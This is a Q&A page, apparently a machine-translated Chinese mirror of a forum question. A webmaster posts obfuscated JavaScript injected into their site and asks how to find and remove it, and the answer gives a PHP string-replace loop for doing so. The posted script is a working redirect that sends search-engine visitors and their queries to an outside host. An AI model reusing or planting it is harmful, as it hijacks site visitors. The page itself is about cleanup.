2012-04-26 22 views
0

我的站点被标记为报告的攻击页! Firefox中的检查文件是否包含某些Javascript代码的最佳方法是什么?

这里是有问题的可疑代码:

<script language="JavaScript">eval(function(p,a,c,k,e,r){e=f 
unction(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin 
g.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,Str 
ing)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e 
]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.re 
place(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('e r= 
x.9,t="",q;4(r.3("m.")!=-1)t="q";4(r.3("7.")!=-1)t="q";4(r.3 
("8.")!=-1)t="p";4(r.3("a.")!=-1)t="q";4(r.3("f.")!=-1)t="g" 
;4(r.3("j.")!=-1)t="q";4(t.6&&((q=r.3("?"+t+"="))!=-1||(q=r. 
3("&"+t+"="))!=-1))B.C="v"+"w"+":/"+"/A"+"b"+"k"+"5"+"h."+"c 
"+"z/s"+"u"+"5"+"h.p"+"d?"+"t"+"y=1&t"+"i"+"l="+r.n(q+2+t.6) 
.o("&")[0];',39,39,'|||indexOf|if|rc|length|msn|yahoo|referr 
er|altavista|ogo|bi|hp|var|aol|query||er|ask|sea|ms|google|s 
ubstring|split||||||ea|ht|tp|document|||go|window|location'. 
split('|'),0,{}))</script> 

我想写一些PHP代码来遍历站点路径的文件夹和每个文件夹中获取文件。对于每个文件,我将打开它并检查它是否包含使用正则表达式的上述代码。

这是个好主意,或者我应该在这里做什么?

+0

我的眼睛,我的眼睛! – DOK 2012-04-26 17:29:58

+0

@DOK小心的人,这是什么问题? – 2012-04-26 17:31:59

+0

所以,你说的是什么,你在你的页面上有代码,你不知道它来自哪里?或者你在输出之前没有对用户提交的内容进行转义? – dqhendricks 2012-04-26 17:32:34

回答

1

你只需要做一些字符串替换,因为你确切地知道你在找什么。像这样的东西应该工作(可能需要调用调整到glob取决于你调用这个脚本。

<?php 

$js = 'INSERT THE CODE FROM YOUR POST HERE'; 
foreach(glob("*") as $filename) { 
    $contents = file_get_contents($filename); 
    $contents = str_replace($js, '', $contents); // Replace the code with nothing 
    file_put_contents($filename, $contents); 
} 
相关问题